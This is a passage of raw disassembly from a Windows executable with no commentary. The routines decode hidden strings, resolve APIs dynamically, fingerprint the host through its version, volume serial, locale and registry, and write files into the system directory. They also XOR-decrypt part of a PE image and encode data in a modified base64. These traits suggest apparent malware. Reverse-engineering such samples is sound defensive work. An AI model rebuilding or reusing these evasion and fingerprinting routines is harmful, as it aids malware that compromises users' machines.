jmp short loc_43AAE2
; ---------------------------------------------------------------------------
loc_43AAD1: ; CODE XREF: sub_43AA99+23j
push offset dword_448260
lea eax, [ebp+var_110]
push eax
call sub_444B60
loc_43AAE2: ; CODE XREF: sub_43AA99+36j
push 0
mov eax, dword_44B1C8
movsx edx, word_44B194
add eax, edx
sub eax, 2
push eax
push 4
push 0
movsx eax, word_44B0E0
add eax, dword_44B124
dec eax
push eax
push 40000000h
lea eax, [ebp+var_110]
push eax
call ds:dword_44A788 ; CreateFileA
mov [ebp+var_8], eax
push 2
push 0
mov eax, dword_44B1C8
sub eax, 2
push eax
push [ebp+var_8]
call ds:dword_44AB9C ; SetFilePointer
push offset word_44C772
call sub_4424C1
pop ecx
push 0
lea edx, [ebp+var_C]
push edx
movsx edx, word_44B16C
movsx ecx, word_44B1BC
add edx, ecx
sub edx, 6
push edx
push eax
push [ebp+var_8]
call ds:dword_44AB8C ; WriteFile
push 493E0h
push 40h
call ds:dword_447A34 ; LocalAlloc
mov ebx, eax
push 61A80h
push 40h
call ds:dword_447A34 ; LocalAlloc
mov esi, eax
movsx eax, word_44B0E0
add eax, dword_44B0B4
sub eax, 8
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 4Bh
jnz short loc_43ABA7
mov eax, [ebp+arg_0]
inc eax
push eax
push ebx
call sub_444B60
jmp short loc_43ABB0
; ---------------------------------------------------------------------------
loc_43ABA7: ; CODE XREF: sub_43AA99+FFj
push [ebp+arg_0]
push ebx
call sub_444B60
loc_43ABB0: ; CODE XREF: sub_43AA99+10Cj
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_43ABB5: ; CODE XREF: sub_43AA99+121j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43ABB5
mov [ebp+var_4], eax
mov eax, dword_44B0CC
mov edi, eax
add edi, dword_44B184
sub edi, 7
jmp short loc_43ABF7
; ---------------------------------------------------------------------------
loc_43ABD1: ; CODE XREF: sub_43AA99+161j
movzx eax, byte ptr [ebx+edi]
mov [ebp+var_114], eax
mov eax, edi
mul edi
mov [ebp+var_118], eax
mov eax, [ebp+var_114]
mov edx, [ebp+var_118]
add eax, edx
mov [ebx+edi], al
inc edi
loc_43ABF7: ; CODE XREF: sub_43AA99+136j
cmp edi, [ebp+var_4]
jb short loc_43ABD1
mov eax, dword_44B12C
add eax, 61A73h
movsx edx, word_44B154
add eax, edx
push eax
push esi
push [ebp+var_4]
push ebx
call sub_43B3A7
add esp, 10h
mov eax, dword_44B0C0
mov edi, eax
add edi, dword_44B1AC
sub edi, 5
jmp short loc_43AC44
; ---------------------------------------------------------------------------
loc_43AC2F: ; CODE XREF: sub_43AA99+1B9j
cmp byte ptr [esi+edi], 2Bh
jnz short loc_43AC39
mov byte ptr [esi+edi], 28h
loc_43AC39: ; CODE XREF: sub_43AA99+19Aj
cmp byte ptr [esi+edi], 3Dh
jnz short loc_43AC43
mov byte ptr [esi+edi], 29h
loc_43AC43: ; CODE XREF: sub_43AA99+1A4j
inc edi
loc_43AC44: ; CODE XREF: sub_43AA99+194j
mov ecx, esi
or eax, 0FFFFFFFFh
loc_43AC49: ; CODE XREF: sub_43AA99+1B5j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43AC49
cmp edi, eax
jb short loc_43AC2F
mov eax, dword_44B174
sub eax, 9
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 4Bh
jnz short loc_43AC82
push 0
lea eax, [ebp+var_C]
push eax
mov eax, dword_44B0FC
sub eax, 6
push eax
push offset asc_44C770 ; "*"
push [ebp+var_8]
call ds:dword_44AB8C ; WriteFile
loc_43AC82: ; CODE XREF: sub_43AA99+1CAj
mov ecx, esi
or eax, 0FFFFFFFFh
loc_43AC87: ; CODE XREF: sub_43AA99+1F3j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43AC87
push 0
lea edx, [ebp+var_C]
push edx
movsx edx, word_44B168
sub edx, 7
mov edi, eax
add edi, edx
push edi
push esi
push [ebp+var_8]
call ds:dword_44AB8C ; WriteFile
push [ebp+var_8]
call ds:dword_449650 ; CloseHandle
push ebx
call ds:dword_447618 ; LocalFree
push esi
call ds:dword_447618 ; LocalFree
pop edi
pop esi
pop ebx
leave
retn
sub_43AA99 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43ACC9 proc near ; CODE XREF: sub_44287C+18p
; sub_443589+165p ...
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
push 0
push 80h
push 3
push 0
push 3
push 80000000h
push [ebp+arg_0]
call ds:dword_44A788 ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_43AD11
cmp [ebp+arg_4], 0
jz short loc_43AD0D
mov eax, [ebp+arg_4]
mov edx, dword_44B0F8
add edx, dword_44B09C
sub edx, 0Ah
mov [eax], edx
loc_43AD0D: ; CODE XREF: sub_43ACC9+2Ej
xor eax, eax
jmp short loc_43AD55
; ---------------------------------------------------------------------------
loc_43AD11: ; CODE XREF: sub_43ACC9+28j
push 0
push edi
call ds:dword_44A624 ; GetFileSize
mov esi, eax
add eax, 10h
push eax
push 40h
call ds:dword_447A34 ; LocalAlloc
mov ebx, eax
push 0
cmp [ebp+arg_4], 0
jz short loc_43AD3A
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
jmp short loc_43AD40
; ---------------------------------------------------------------------------
loc_43AD3A: ; CODE XREF: sub_43ACC9+67j
lea eax, [ebp+var_4]
mov [ebp+var_8], eax
loc_43AD40: ; CODE XREF: sub_43ACC9+6Fj
push [ebp+var_8]
push esi
push ebx
push edi
call ds:dword_445028 ; ReadFile
push edi
call ds:dword_449650 ; CloseHandle
mov eax, ebx
loc_43AD55: ; CODE XREF: sub_43ACC9+46j
pop edi
pop esi
pop ebx
leave
retn
sub_43ACC9 endp
; =============== S U B R O U T I N E =======================================
sub_43AD5A proc near ; CODE XREF: sub_442C0A+2Ap
push edi
push offset byte_44C761
call sub_4424C1
pop ecx
push eax
call ds:dword_4475E8 ; GetModuleHandleA
mov dword_44B1F4, eax
test eax, eax
jnz short loc_43AD8D
push offset word_44C752
call sub_4424C1
pop ecx
push eax
call ds:dword_448244 ; LoadLibraryA
mov dword_44B1F4, eax
loc_43AD8D: ; CODE XREF: sub_43AD5A+1Aj
push offset word_44C73E
call sub_4424C1
pop ecx
push eax
push dword_44B1F4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_447A44, eax
pop edi
retn
sub_43AD5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43ADAC proc near ; CODE XREF: sub_43B52C+17Fp
var_170 = byte ptr -170h
var_16C = dword ptr -16Ch
var_168 = byte ptr -168h
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 170h
push esi
push edi
push 104h
lea eax, [ebp+var_104]
push eax
call ds:dword_4475FC ; GetSystemDirectoryA
lea eax, [ebp+var_168]
push eax
call sub_43BFE5
push offset byte_44C739
call sub_4424C1
push eax
lea esi, [ebp+var_104]
push esi
call ds:dword_445020
lea eax, [ebp+var_168]
push eax
lea eax, [ebp+var_104]
push eax
call ds:dword_445020
push offset byte_44C731
call sub_4424C1
push eax
lea esi, [ebp+var_104]
push esi
call ds:dword_445020
add esp, 24h
push 0
movsx eax, word_44B100
add eax, dword_44B0E4
sub eax, 0Bh
push eax
push 3
push 0
mov eax, dword_44B160
sub eax, 8
push eax
push 80000000h
lea eax, [ebp+var_104]
push eax
call ds:dword_44A788 ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_43AE6F
mov eax, dword_44B160
sub eax, 8
mov edx, [ebp+arg_0]
movsx ecx, word_44B0B0
sub ecx, 8
mov [edx+eax], cl
jmp short loc_43AED3
; ---------------------------------------------------------------------------
loc_43AE6F: ; CODE XREF: sub_43ADAC+A7j
push 0
push 0
push [ebp+arg_4]
push edi
call ds:dword_44AB9C ; SetFilePointer
push 0
lea eax, [ebp+var_170]
push eax
movsx eax, word_44B0B0
mov edx, dword_44B124
lea eax, [eax+edx+0Bh]
push eax
push [ebp+arg_0]
push edi
call ds:dword_445028 ; ReadFile
mov [ebp+var_16C], eax
push edi
call ds:dword_449650 ; CloseHandle
mov eax, dword_44B0C4
sub eax, 4
cmp [ebp+var_16C], eax
jnz short loc_43AED3
mov eax, dword_44B130
mov edx, [ebp+arg_0]
mov ecx, dword_44B1C4
sub ecx, 5
mov [edx+eax], cl
loc_43AED3: ; CODE XREF: sub_43ADAC+C1j
; sub_43ADAC+111j
pop edi
pop esi
leave
retn
sub_43ADAC endp
; =============== S U B R O U T I N E =======================================
sub_43AED7 proc near ; CODE XREF: sub_442C0A+1Bp
push edi
push offset byte_44C721
call sub_4424C1
pop ecx
push eax
call ds:dword_4475E8 ; GetModuleHandleA
mov dword_44B1E8, eax
test eax, eax
jnz short loc_43AF0A
push offset byte_44C711
call sub_4424C1
pop ecx
push eax
call ds:dword_448244 ; LoadLibraryA
mov dword_44B1E8, eax
loc_43AF0A: ; CODE XREF: sub_43AED7+1Aj
push offset byte_44C6FF
call sub_4424C1
push eax
push dword_44B1E8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_445044, eax
push offset word_44C6EE
call sub_4424C1
push eax
push dword_44B1E8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44ABA0, eax
push offset word_44C6DE
call sub_4424C1
push eax
push dword_44B1E8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44ABB0, eax
push offset byte_44C6CF
call sub_4424C1
push eax
push dword_44B1E8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_445038, eax
push offset byte_44C6BF
call sub_4424C1
add esp, 14h
push eax
push dword_44B1E8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_448254, eax
pop edi
retn
sub_43AED7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AF9B proc near ; CODE XREF: sub_43C281+D1p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push offset dword_44B250
push offset dword_44B210
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4440F8
pop ebp
retn
sub_43AF9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AFB5 proc near ; CODE XREF: sub_43B52C+91p
var_1AC = dword ptr -1ACh
var_1A8 = byte ptr -1A8h
var_1A4 = dword ptr -1A4h
var_1A0 = dword ptr -1A0h
var_19C = byte ptr -19Ch
var_198 = dword ptr -198h
var_193 = dword ptr -193h
var_18F = dword ptr -18Fh
var_18B = dword ptr -18Bh
var_187 = dword ptr -187h
var_183 = dword ptr -183h
var_FF = byte ptr -0FFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1ACh
push esi
push edi
mov edi, [ebp+arg_0]
mov byte ptr [edi], 0
mov [ebp+var_193], 94h
lea eax, [ebp+var_193]
push eax
call ds:dword_44AB98 ; GetVersionExA
cmp [ebp+var_183], 1
jnz short loc_43AFFB
push offset byte_44C6B9
call sub_4424C1
push eax
push edi
call ds:dword_445020
add esp, 0Ch
loc_43AFFB: ; CODE XREF: sub_43AFB5+2Fj
cmp [ebp+var_183], 2
jnz short loc_43B019
push offset byte_44C6B3
call sub_4424C1
push eax
push edi
call ds:dword_44A634
add esp, 0Ch
loc_43B019: ; CODE XREF: sub_43AFB5+4Dj
push offset byte_44C6A7
call sub_4424C1
push [ebp+var_187]
push [ebp+var_18B]
push [ebp+var_18F]
push eax
lea esi, [ebp+var_FF]
push esi
call ds:dword_44A634
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_445020
push offset dword_44C6A0
call sub_4424C1
mov esi, dword_44B1A0
sub esi, 6
push esi
push 0
lea esi, [ebp+var_19C]
push esi
lea esi, [ebp+var_19C]
push esi
lea esi, [ebp+var_198]
push esi
push 0FFh
lea esi, [ebp+var_FF]
push esi
push eax
call ds:dword_44A614 ; GetVolumeInformationA
push offset dword_44C698
call sub_4424C1
push [ebp+var_198]
push eax
lea esi, [ebp+var_FF]
push esi
call ds:dword_44A634
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_445020
push 0FFh
lea eax, [ebp+var_FF]
push eax
mov eax, dword_44B18C
add eax, 2
push eax
push 400h
call ds:dword_4475F4 ; GetLocaleInfoA
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_445020
push offset byte_44C693
call sub_4424C1
push eax
push edi
call ds:dword_445020
mov [ebp+var_1A0], 0FFh
push offset word_44C666
call sub_4424C1
mov [ebp+var_1AC], eax
push offset byte_44C659
call sub_4424C1
lea esi, [ebp+var_1A8]
push esi
lea esi, [ebp+var_1A0]
push esi
lea esi, [ebp+var_FF]
push esi
push eax
mov esi, [ebp+var_1AC]
push esi
push 80000002h
call sub_440FBB
add esp, 70h
mov [ebp+var_1A4], eax
mov eax, dword_44B190
add eax, dword_44B1AC
sub eax, 6
cmp [ebp+var_1A4], eax
jnz short loc_43B176
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_445020
add esp, 8
loc_43B176: ; CODE XREF: sub_43AFB5+1AEj
pop edi
pop esi
leave
retn
sub_43AFB5 endp
; =============== S U B R O U T I N E =======================================
sub_43B17A proc near ; DATA XREF: .data:0044B2C4o
mov eax, 80004001h
retn 10h
sub_43B17A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B182 proc near ; CODE XREF: sub_442E96+35Ep
; sub_442E96+3E5p
var_16C = byte ptr -16Ch
var_168 = byte ptr -168h
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 16Ch
push ebx
push esi
push edi
push 104h
lea eax, [ebp+var_104]
push eax
call ds:dword_4475FC ; GetSystemDirectoryA
lea eax, [ebp+var_168]
push eax
call sub_43BFE5
push offset dword_44C654
call sub_4424C1
push eax
lea esi, [ebp+var_104]
push esi
call ds:dword_445020
lea eax, [ebp+var_168]
push eax
lea eax, [ebp+var_104]
push eax
call ds:dword_445020
push offset dword_44C64C
call sub_4424C1
push eax
lea esi, [ebp+var_104]
push esi
call ds:dword_445020
add esp, 24h
push 0
push 80h
push 4
push 0
mov eax, dword_44B0C0
add eax, dword_44B1C0
sub eax, 4
push eax
push 40000000h
lea eax, [ebp+var_104]
push eax
call ds:dword_44A788 ; CreateFileA
mov edi, eax
push 0
push 0
push [ebp+arg_4]
push edi
call ds:dword_44AB9C ; SetFilePointer
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_43B237: ; CODE XREF: sub_43B182+BAj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43B237
mov esi, eax
push 0
lea ebx, [ebp+var_16C]
push ebx
push esi
push [ebp+arg_0]
push edi
call ds:dword_44AB8C ; WriteFile
push edi
call ds:dword_449650 ; CloseHandle
pop edi
pop esi
pop ebx
leave
retn
sub_43B182 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B260 proc near ; CODE XREF: sub_43E40A+8Ep
; sub_43E40A+15Dp
var_10003 = dword ptr -10003h
var_FFFF = byte ptr -0FFFFh
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
mov eax, 10004h
call sub_444B40
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
lea edi, dword_448260
cmp [ebp+arg_4], 43h
jnz short loc_43B285
lea edi, dword_4470F0
loc_43B285: ; CODE XREF: sub_43B260+1Dj
push 0
push 80h
push 3
push 0
push 3
push 0C0000000h
push edi
call ds:dword_44A788 ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_43B32E
push 0
push 0
push esi
push edi
call ds:dword_44AB9C ; SetFilePointer
push 0
lea eax, [ebp+var_4]
push eax
push 0FFFFh
lea eax, [ebp+var_10003]
push eax
push edi
call ds:dword_445028 ; ReadFile
lea ecx, [ebp+var_FFFF]
or eax, 0FFFFFFFFh
loc_43B2D7: ; CODE XREF: sub_43B260+7Cj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43B2D7
mov edx, dword_44B0C4
add edx, 1
mov ebx, eax
add ebx, edx
mov [ebp+var_4], ebx
mov ebx, dword_44B158
mov edx, [ebp+var_4]
mov [ebp+ebx*4+var_10003], edx
push 0
push 0
push esi
push edi
call ds:dword_44AB9C ; SetFilePointer
push 0
lea eax, [ebp+var_4]
push eax
mov eax, dword_44B178
add eax, 1
push eax
lea eax, [ebp+var_10003]
push eax
push edi
call ds:dword_44AB8C ; WriteFile
push edi
call ds:dword_449650 ; CloseHandle
loc_43B32E: ; CODE XREF: sub_43B260+43j
pop edi
pop esi
pop ebx
leave
retn
sub_43B260 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B333 proc near ; CODE XREF: sub_442C0A+1E5p
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
mov esi, [eax+3Ch]
mov edi, esi
add edi, eax
mov eax, [edi+28h]
mov edx, [ebp+arg_0]
lea esi, [eax+edx+0Dh]
movzx eax, byte ptr [esi]
xor eax, 4Dh
mov [ebp+var_1], al
movzx eax, byte ptr [esi+1]
movsx edx, word_44B0C8
mov ecx, dword_44B1B4
lea edx, [edx+ecx+1F8h]
mov ebx, eax
imul ebx, edx
movsx eax, word_44B168
mov edi, eax
add edi, dword_44B0F8
sub edi, 8
jmp short loc_43B396
; ---------------------------------------------------------------------------
loc_43B388: ; CODE XREF: sub_43B333+65j
movzx eax, byte ptr [esi+edi]
movzx edx, [ebp+var_1]
xor eax, edx
mov [esi+edi], al
inc edi
loc_43B396: ; CODE XREF: sub_43B333+53j
cmp edi, ebx
jb short loc_43B388
mov eax, [ebp+arg_4]
mov [eax], ebx
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_43B333 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B3A7 proc near ; CODE XREF: sub_43AA99+17Cp
var_7 = byte ptr -7
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov esi, [ebp+arg_8]
mov eax, ebx
add eax, 2
mov ecx, 3
mov edx, 0AAAAAAABh
mul edx
shr edx, 1
mov [ebp+var_4], edx
mov edi, edx
shl edi, 2
mov edx, [ebp+arg_C]
dec edx
cmp edi, edx
jbe short loc_43B417
xor eax, eax
jmp loc_43B4C1
; ---------------------------------------------------------------------------
loc_43B3DF: ; CODE XREF: sub_43B3A7+80j
push esi
push [ebp+arg_0]
call sub_43BE80
add esp, 8
mov eax, dword_44B188
add eax, 3
sub ebx, eax
movsx eax, word_44B0D0
mov edx, dword_44B118
lea eax, [eax+edx+2]
add eax, [ebp+arg_0]
mov [ebp+arg_0], eax
mov eax, dword_44B140
sub eax, 4
lea esi, [esi+eax]
loc_43B417: ; CODE XREF: sub_43B3A7+2Fj
mov eax, dword_44B17C
add eax, dword_44B0EC
sub eax, 8
cmp ebx, eax
jnb short loc_43B3DF
movsx eax, word_44B16C
sub eax, 4
cmp ebx, eax
jbe short loc_43B4A4
push 3
mov eax, dword_44B130
add eax, dword_44B18C
dec eax
push eax
lea eax, [ebp+var_7]
push eax
call ds:dword_449640
push ebx
push [ebp+arg_0]
lea eax, [ebp+var_7]
push eax
call ds:dword_449634
push esi
lea eax, [ebp+var_7]
push eax
call sub_43BE80
add esp, 20h
mov eax, dword_44B14C
add eax, dword_44B184
sub eax, 9
mov byte ptr [esi+eax], 3Dh
movsx eax, word_44B0E0
inc eax
cmp ebx, eax
jnz short loc_43B49B
mov eax, dword_44B104
add eax, dword_44B0D4
sub eax, 2
mov byte ptr [esi+eax], 3Dh
loc_43B49B: ; CODE XREF: sub_43B3A7+E0j
mov eax, dword_44B1C0
inc eax
lea esi, [esi+eax]
loc_43B4A4: ; CODE XREF: sub_43B3A7+8Ej
mov eax, dword_44B134
add eax, dword_44B144
sub eax, 8
mov edx, dword_44B104
sub edx, 3
mov [esi+eax], dl
xor eax, eax
inc eax
loc_43B4C1: ; CODE XREF: sub_43B3A7+33j
pop edi
pop esi
pop ebx
leave
retn
sub_43B3A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_43B4C6 proc near ; DATA XREF: sub_43E8A2+15Bo
var_A = byte ptr -0Ah
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov edi, [ebp+arg_0]
push offset sub_4401E7
push dword ptr fs:0
mov fs:0, esp
push offset dword_44C644
call sub_4424C1
push dword ptr [edi]
push eax
lea esi, [ebp+var_A]
push esi
call ds:dword_44A634
add esp, 10h
loc_43B4FC: ; CODE XREF: sub_43B4C6+5Ej
push 0
push dword ptr [edi]
lea eax, [ebp+var_A]
push eax
call sub_4438E7
mov eax, dword_44B098
movsx edx, word_44B170
add eax, edx
sub eax, 0Fh
push eax
call ds:dword_44A630
add esp, 10h
jmp short loc_43B4FC
sub_43B4C6 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B52C proc near ; CODE XREF: sub_442C0A+23Fp
var_209 = byte ptr -209h
var_208 = byte ptr -208h
var_204 = byte ptr -204h
var_1FE = byte ptr -1FEh
var_107 = byte ptr -107h
var_102 = byte ptr -102h
var_FF = byte ptr -0FFh
var_FE = byte ptr -0FEh
push ebp
mov ebp, esp
sub esp, 20Ch
push edi
push 0FFh
lea eax, [ebp+var_1FE]
push eax
call ds:dword_4475FC ; GetSystemDirectoryA
push offset byte_44C631
call sub_4424C1
movsx edi, word_44B148
sub edi, 2
push edi
lea edi, [ebp+var_1FE]
push edi
push eax
push offset dword_4470F0
call ds:dword_44A634
push offset word_44C61E
call sub_4424C1
mov edi, dword_44B0F0
sub edi, 3
push edi
lea edi, [ebp+var_1FE]
push edi
push eax
push offset dword_448260
call ds:dword_44A634
lea eax, sub_43AA99
mov ds:dword_44A62C, eax
lea eax, sub_43AA99
mov ds:dword_44504C, eax
lea eax, sub_44287C
mov ds:dword_44A774, eax
push offset dword_446020
call sub_43AFB5
mov eax, dword_44B1AC
add eax, 6
push eax
push offset dword_448230
call sub_44244A
lea eax, sub_443C06
mov ds:dword_448228, eax
lea eax, sub_43DE0F
mov ds:dword_447A30, eax
lea eax, dword_4470F0
mov ds:dword_44963C, eax
lea eax, dword_448260
mov ds:dword_445018, eax
lea eax, dword_44A670
mov dword_44B2B0, eax
lea eax, [ebp+var_204]
push eax
mov eax, dword_44B0AC
sub eax, 3
push eax
push 0
push offset sub_440914
mov eax, dword_44B0F8
add eax, dword_44B104
sub eax, 5
push eax
push 0
call ds:dword_44AB90 ; CreateThread
push eax
call ds:dword_449650 ; CloseHandle
lea eax, [ebp+var_208]
push eax
mov eax, dword_44B198
mov edx, dword_44B184
add edx, eax
sub edx, 0Eh
push edx
push 0
push offset sub_43C256
movsx edx, word_44B0E8
add edx, eax
lea eax, [edx-0Dh]
push eax
push 0
call ds:dword_44AB90 ; CreateThread
push eax
call ds:dword_449650 ; CloseHandle
mov eax, dword_44B174
inc eax
movsx edx, word_44B0E0
add eax, edx
mov ds:dword_44761C, eax
movsx eax, word_44B0BC
movsx edx, word_44B128
add eax, edx
sub eax, 8
push eax
lea eax, [ebp+var_FF]
push eax
call sub_43ADAC
add esp, 3Ch
mov eax, dword_44B0A4
add eax, dword_44B124
cmp [ebp+eax+var_102], 64h
jnz short loc_43B705
movsx eax, [ebp+var_FE]
mov edx, dword_44B0B8
add edx, 1Ch
add edx, dword_44B1A4
sub eax, edx
mov [ebp+var_209], al
movzx eax, [ebp+var_209]
push eax
push 0
call sub_441FCC
add esp, 8
mov eax, dword_44B0B4
sub eax, 8
mov ds:dword_44761C, eax
loc_43B705: ; CODE XREF: sub_43B52C+19Aj
movsx eax, word_44B170
add eax, dword_44B164
cmp [ebp+eax+var_107], 67h
jnz short loc_43B775
mov eax, dword_44B188
add eax, 7
add eax, dword_44B0AC
movsx edx, word_44B1BC
add edx, dword_44B1CC
sub edx, 0Ah
mov [ebp+eax+var_FF], dl
lea eax, [ebp+var_FE]
push eax
call ds:dword_445054
mov [ebp-20Ch], eax
push eax
push offset dword_44A670
call sub_43E1CC
add esp, 0Ch
mov eax, dword_44B10C
add eax, dword_44B174
sub eax, 10h
mov ds:dword_44761C, eax
loc_43B775: ; CODE XREF: sub_43B52C+1EEj
pop edi
leave
retn
sub_43B52C endp
; =============== S U B R O U T I N E =======================================
sub_43B778 proc near ; DATA XREF: .data:0044B2E8o
mov eax, 80004001h
retn 10h
sub_43B778 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B780 proc near ; CODE XREF: sub_443589+Ep
; sub_443589+1DBp
var_10088 = dword ptr -10088h
var_10084 = dword ptr -10084h
var_10080 = dword ptr -10080h
var_1007C = dword ptr -1007Ch
var_10078 = word ptr -10078h
var_10070 = dword ptr -10070h
var_10068 = dword ptr -10068h
var_10064 = dword ptr -10064h
var_10060 = dword ptr -10060h
var_10059 = byte ptr -10059h
var_10058 = dword ptr -10058h
var_10054 = dword ptr -10054h
var_10050 = dword ptr -10050h
var_1004C = dword ptr -1004Ch
var_10048 = dword ptr -10048h
var_10043 = byte ptr -10043h
var_44 = dword ptr -44h
var_40 = word ptr -40h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 10088h
call sub_444B40
push ebx
push esi
push edi
mov [ebp+var_40], 8
push offset dword_44C610
call sub_43EFD7
pop ecx
push eax
call ds:dword_445044
mov [ebp+var_38], eax
lea eax, [ebp+var_2C]
push eax
lea esi, [ebp+var_40]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+arg_0]
push edi
mov edi, [edi]
call dword ptr [edi+30h]
mov ebx, eax
mov eax, dword_44B0F0
sub eax, 4
cmp ebx, eax
jz short loc_43B7DC
xor eax, eax
jmp loc_43BE20
; ---------------------------------------------------------------------------
loc_43B7DC: ; CODE XREF: sub_43B780+53j
lea eax, [ebp+var_24]
push eax
push offset dword_44C91C
mov eax, [ebp+var_2C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_44B090
dec eax
cmp ebx, eax
jnz loc_43BE15
lea eax, [ebp+var_28]
push eax
mov eax, [ebp+var_24]
push eax
mov edi, [eax]
call dword ptr [edi+24h]
mov ebx, eax
movsx eax, word_44B100
movsx edx, word_44B0DC
add eax, edx
sub eax, 0Fh
cmp ebx, eax
jnz loc_43BE0C
and [ebp+var_44], 0
movsx eax, word_44B100
sub eax, 9
mov [ebp+var_1C], eax
jmp loc_43BE00
; ---------------------------------------------------------------------------
loc_43B844: ; CODE XREF: sub_43B780+686j
mov [ebp+var_18], 2
mov eax, [ebp+var_1C]
mov [ebp+var_10], eax
lea eax, [ebp+var_4]
push eax
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_24]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
movsx eax, word_44B0DC
add eax, dword_44B0A0
sub eax, 0Ah
cmp ebx, eax
jnz loc_43BDFD
and [ebp+var_10048], 0
lea eax, [ebp+var_10048]
push eax
push offset dword_44C90C
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_44B170
sub eax, 8
cmp ebx, eax
jnz loc_43BDD9
cmp [ebp+var_10048], 0
jz loc_43BDD9
lea eax, [ebp+var_20]
push eax
mov eax, [ebp+var_10048]
push eax
mov edi, [eax]
call dword ptr [edi+0F8h]
mov ebx, eax
or ebx, ebx
jnz loc_43BDD9
lea eax, [ebp+var_10043]
push eax
push [ebp+var_20]
call sub_43A9C0
mov eax, dword_44B0F0
sub eax, 3
push eax
push offset dword_448230
lea eax, [ebp+var_10043]
push eax
call sub_43D744
add esp, 14h
movsx edi, word_44B0D0
mov esi, dword_44B094
lea edi, [edi+esi+0FFF9h]
cmp eax, edi
jz loc_43BDD9
cmp [ebp+arg_4], 0
jz short loc_43B95E
mov eax, [ebp+var_10048]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
xor eax, eax
inc eax
jmp loc_43BE20
; ---------------------------------------------------------------------------
loc_43B95E: ; CODE XREF: sub_43B780+1BFj
and [ebp+var_1007C], 0
lea eax, [ebp+var_1007C]
push eax
push offset dword_44C93C
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_44B194
cmp ebx, eax
jnz loc_43BDD9
mov [ebp+var_10059], 44h
push offset dword_44C608
call sub_4424C1
mov edi, dword_44B174
